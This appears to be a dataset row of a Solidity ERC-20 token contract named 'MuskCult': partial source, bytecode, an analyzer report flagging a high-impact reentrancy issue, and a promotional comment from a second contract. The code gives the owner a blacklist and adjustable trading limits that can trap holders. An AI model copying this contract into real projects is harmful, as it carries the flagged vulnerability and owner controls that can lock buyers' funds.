function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1000000000 * 10**9;
_maxWalletSize = 3000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612de6565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906128ed565b6104b4565b60405161018e9190612dcb565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612f88565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e4919061292d565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d919061289a565b61060d565b60405161021f9190612dcb565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612800565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b6040516102739190612ffd565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612976565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c791906129d0565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612800565b6109dd565b6040516103199190612f88565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612cfd565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d9190612de6565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906128ed565b610c9e565b6040516103da9190612dcb565b60405180910390f35b3480156103ef57600080fd5b5061040a600480360381019061040591906129d0565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c919061285a565b61137b565b60405161046e9190612f88565b60405180910390f35b60606040518060400160405280600881526020017f4d75736b43756c74000000000000000000000000000000000000000000000000815250905090565b60006104c86104c1611402565b848461140a565b6001905092915050565b600068056bc75e2d63100000905090565b6104eb611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612ec8565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c613345565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806106019061329e565b91505061057b565b5050565b600061061a8484846115d5565b6106db84610626611402565b6106d68560405180606001604052806028815260200161370460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c611402565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c689092919063ffffffff16565b61140a565b600190509392505050565b6106ee611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612ec8565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e7611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612ec8565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b610899611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612ec8565b60405180910390fd5b6000811161093357600080fd5b61096260646109548368056bc75e2d63100000611ccc90919063ffffffff16565b611d4790919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac611402565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611d91565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dfd565b9050919050565b610a36611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612ec8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b89611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612ec8565b60405180910390fd5b68056bc75e2d63100000600f8190555068056bc75e2d63100000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4d75736b43756c74000000000000000000000000000000000000000000000000815250905090565b6000610cb2610cab611402565b84846115d5565b6001905092915050565b610cc4611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612ec8565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f8368056bc75e2d63100000611ccc90919063ffffffff16565b611d4790919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd7611402565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611e6b565b50565b610e18611402565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612ec8565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612f68565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d6310000061140a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fcb57600080fd5b505afa158015610fdf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611003919061282d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561106557600080fd5b505afa158015611079573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109d919061282d565b6040518363ffffffff1660e01b81526004016110ba929190612d18565b602060405180830381600087803b1580156110d457600080fd5b505af11580156110e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110c919061282d565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611195306109dd565b6000806111a0610c38565b426040518863ffffffff1660e01b81526004016111c296959493929190612d6a565b6060604051808303818588803b1580156111db57600080fd5b505af11580156111ef573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061121491906129fd565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff021916908315150217905550670de0b6b3a7640000600f819055506729a2241af62c00006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611325929190612d41565b602060405180830381600087803b15801561133f57600080fd5b505af1158015611353573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061137791906129a3565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561147a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147190612f48565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e190612e68565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115c89190612f88565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611645576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163c90612f08565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ac90612e08565b60405180910390fd5b600081116116f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ef90612ee8565b60405180910390fd5b6000600a819055506001600b81905550611710610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561177e575061174e610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c5857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118275750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61183057600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118db5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119315750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119495750600e60179054906101000a900460ff165b15611a8757600f54811115611993576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198a90612e28565b60405180910390fd5b601054816119a0846109dd565b6119aa91906130be565b11156119eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e290612f28565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3657600080fd5b601e42611a4391906130be565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b325750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b885750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b9e576000600a819055506004600b819055505b6000611ba9306109dd565b9050600e60159054906101000a900460ff16158015611c165750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c2e5750600e60169054906101000a900460ff165b15611c5657611c3c81611e6b565b60004790506000811115611c5457611c5347611d91565b5b505b505b611c638383836120f3565b505050565b6000838311158290611cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca79190612de6565b60405180910390fd5b5060008385611cbf919061319f565b9050809150509392505050565b600080831415611cdf5760009050611d41565b60008284611ced9190613145565b9050828482611cfc9190613114565b14611d3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3390612ea8565b60405180910390fd5b809150505b92915050565b6000611d8983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612103565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611df9573d6000803e3d6000fd5b5050565b6000600854821115611e44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3b90612e48565b60405180910390fd5b6000611e4e612166565b9050611e638184611d4790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ea357611ea2613374565b5b604051908082528060200260200182016040528015611ed15781602001602082028036833780820191505090505b5090503081600081518110611ee957611ee8613345565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f8b57600080fd5b505afa158015611f9f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fc3919061282d565b81600181518110611fd757611fd6613345565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061203e30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461140a565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a2959493929190612fa3565b600060405180830381600087803b1580156120bc57600080fd5b505af11580156120d0573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6120fe838383612191565b505050565b6000808311829061214a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121419190612de6565b60405180910390fd5b50600083856121599190613114565b9050809150509392505050565b600080600061217361235c565b9150915061218a8183611d4790919063ffffffff16565b9250505090565b6000806000806000806121a3876123be565b95509550955095509550955061220186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061229685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122e2816124ce565b6122ec848361258b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123499190612f88565b60405180910390a3505050505050505050565b60008060006008549050600068056bc75e2d63100000905061239268056bc75e2d63100000600854611d4790919063ffffffff16565b8210156123b15760085468056bc75e2d631000009350935050506123ba565b81819350935050505b9091565b60008060008060008060008060006123db8a600a54600b546125c5565b92509250925060006123eb612166565b905060008060006123fe8e87878761265b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061246883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c68565b905092915050565b600080828461247f91906130be565b9050838110156124c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124bb90612e88565b60405180910390fd5b8091505092915050565b60006124d8612166565b905060006124ef8284611ccc90919063ffffffff16565b905061254381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125a08260085461242690919063ffffffff16565b6008819055506125bb8160095461247090919063ffffffff16565b6009819055505050565b6000806000806125f160646125e3888a611ccc90919063ffffffff16565b611d4790919063ffffffff16565b9050600061261b606461260d888b611ccc90919063ffffffff16565b611d4790919063ffffffff16565b9050600061264482612636858c61242690919063ffffffff16565b61242690919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126748589611ccc90919063ffffffff16565b9050600061268b8689611ccc90919063ffffffff16565b905060006126a28789611ccc90919063ffffffff16565b905060006126cb826126bd858761242690919063ffffffff16565b61242690919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126f76126f28461303d565b613018565b9050808382526020820190508285602086028201111561271a576127196133a8565b5b60005b8581101561274a57816127308882612754565b84526020840193506020830192505060018101905061271d565b5050509392505050565b600081359050612763816136be565b92915050565b600081519050612778816136be565b92915050565b600082601f830112612793576127926133a3565b5b81356127a38482602086016126e4565b91505092915050565b6000813590506127bb816136d5565b92915050565b6000815190506127d0816136d5565b92915050565b6000813590506127e5816136ec565b92915050565b6000815190506127fa816136ec565b92915050565b600060208284031215612816576128156133b2565b5b600061282484828501612754565b91505092915050565b600060208284031215612843576128426133b2565b5b600061285184828501612769565b91505092915050565b60008060408385031215612871576128706133b2565b5b600061287f85828601612754565b925050602061289085828601612754565b9150509250929050565b6000806000606084860312156128b3576128b26133b2565b5b60006128c186828701612754565b93505060206128d286828701612754565b92505060406128e3868287016127d6565b9150509250925092565b60008060408385031215612904576129036133b2565b5b600061291285828601612754565b9250506020612923858286016127d6565b9150509250929050565b600060208284031215612943576129426133b2565b5b600082013567ffffffffffffffff811115612961576129606133ad565b5b61296d8482850161277e565b91505092915050565b60006020828403121561298c5761298b6133b2565b5b600061299a848285016127ac565b91505092915050565b6000602082840312156129b9576129b86133b2565b5b60006129c7848285016127c1565b91505092915050565b6000602082840312156129e6576129e56133b2565b5b60006129f4848285016127d6565b91505092915050565b600080600060608486031215612a1657612a156133b2565b5b6000612a24868287016127eb565b9350506020612a35868287016127eb565b9250506040612a46868287016127eb565b9150509250925092565b6000612a5c8383612a68565b60208301905092915050565b612a71816131d3565b82525050565b612a80816131d3565b82525050565b6000612a9182613079565b612a9b818561309c565b9350612aa683613069565b8060005b83811015612ad7578151612abe8882612a50565b9750612ac98361308f565b925050600181019050612aaa565b5085935050505092915050565b612aed816131e5565b82525050565b612afc81613228565b82525050565b6000612b0d82613084565b612b1781856130ad565b9350612b2781856020860161323a565b612b30816133b7565b840191505092915050565b6000612b486023836130ad565b9150612b53826133c8565b604082019050919050565b6000612b6b6019836130ad565b9150612b7682613417565b602082019050919050565b6000612b8e602a836130ad565b9150612b9982613440565b604082019050919050565b6000612bb16022836130ad565b9150612bbc8261348f565b604082019050919050565b6000612bd4601b836130ad565b9150612bdf826134de565b602082019050919050565b6000612bf76021836130ad565b9150612c0282613507565b604082019050919050565b6000612c1a6020836130ad565b9150612c2582613556565b602082019050919050565b6000612c3d6029836130ad565b9150612c488261357f565b604082019050919050565b6000612c606025836130ad565b9150612c6b826135ce565b604082019050919050565b6000612c83601a836130ad565b9150612c8e8261361d565b602082019050919050565b6000612ca66024836130ad565b9150612cb182613646565b604082019050919050565b6000612cc96017836130ad565b9150612cd482613695565b602082019050919050565b612ce881613211565b82525050565b612cf78161321b565b82525050565b6000602082019050612d126000830184612a77565b92915050565b6000604082019050612d2d6000830185612a77565b612d3a6020830184612a77565b9392505050565b6000604082019050612d566000830185612a77565b612d636020830184612cdf565b9392505050565b600060c082019050612d7f6000830189612a77565b612d8c6020830188612cdf565b612d996040830187612af3565b612da66060830186612af3565b612db36080830185612a77565b612dc060a0830184612cdf565b979650505050505050565b6000602082019050612de06000830184612ae4565b92915050565b60006020820190508181036000830152612e008184612b02565b905092915050565b60006020820190508181036000830152612e2181612b3b565b9050919050565b60006020820190508181036000830152612e4181612b5e565b9050919050565b60006020820190508181036000830152612e6181612b81565b9050919050565b60006020820190508181036000830152612e8181612ba4565b9050919050565b60006020820190508181036000830152612ea181612bc7565b9050919050565b60006020820190508181036000830152612ec181612bea565b9050919050565b60006020820190508181036000830152612ee181612c0d565b9050919050565b60006020820190508181036000830152612f0181612c30565b9050919050565b60006020820190508181036000830152612f2181612c53565b9050919050565b60006020820190508181036000830152612f4181612c76565b9050919050565b60006020820190508181036000830152612f6181612c99565b9050919050565b60006020820190508181036000830152612f8181612cbc565b9050919050565b6000602082019050612f9d6000830184612cdf565b92915050565b600060a082019050612fb86000830188612cdf565b612fc56020830187612af3565b8181036040830152612fd78186612a86565b9050612fe66060830185612a77565b612ff36080830184612cdf565b9695505050505050565b60006020820190506130126000830184612cee565b92915050565b6000613022613033565b905061302e828261326d565b919050565b6000604051905090565b600067ffffffffffffffff82111561305857613057613374565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130c982613211565b91506130d483613211565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613109576131086132e7565b5b828201905092915050565b600061311f82613211565b915061312a83613211565b92508261313a57613139613316565b5b828204905092915050565b600061315082613211565b915061315b83613211565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613194576131936132e7565b5b828202905092915050565b60006131aa82613211565b91506131b583613211565b9250828210156131c8576131c76132e7565b5b828203905092915050565b60006131de826131f1565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061323382613211565b9050919050565b60005b8381101561325857808201518184015260208101905061323d565b83811115613267576000848401525b50505050565b613276826133b7565b810181811067ffffffffffffffff8211171561329557613294613374565b5b80604052505050565b60006132a982613211565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132dc576132db6132e7565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6136c7816131d3565b81146136d257600080fd5b50565b6136de816131e5565b81146136e957600080fd5b50565b6136f581613211565b811461370057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122025e28b51424db418409e80d4ccf0a069f712830a4107c7de5a1fd270397a58e964736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,310 |
0x42ba9136fb8639a578bcbe3cc22cf4cb779a44cd | /**
*Submitted for verification at Etherscan.io on 2021-11-24
*/
/*
📌 Liquidity will be locked for 1 year via unicrypt
📌 Ownership renounced
📌 No presales of any kind, no team tokens
📌 Max buys and anti-bot code on launch
📌 8% sell tax
(2% liquidity, 3% rewards and 3% charity/development)
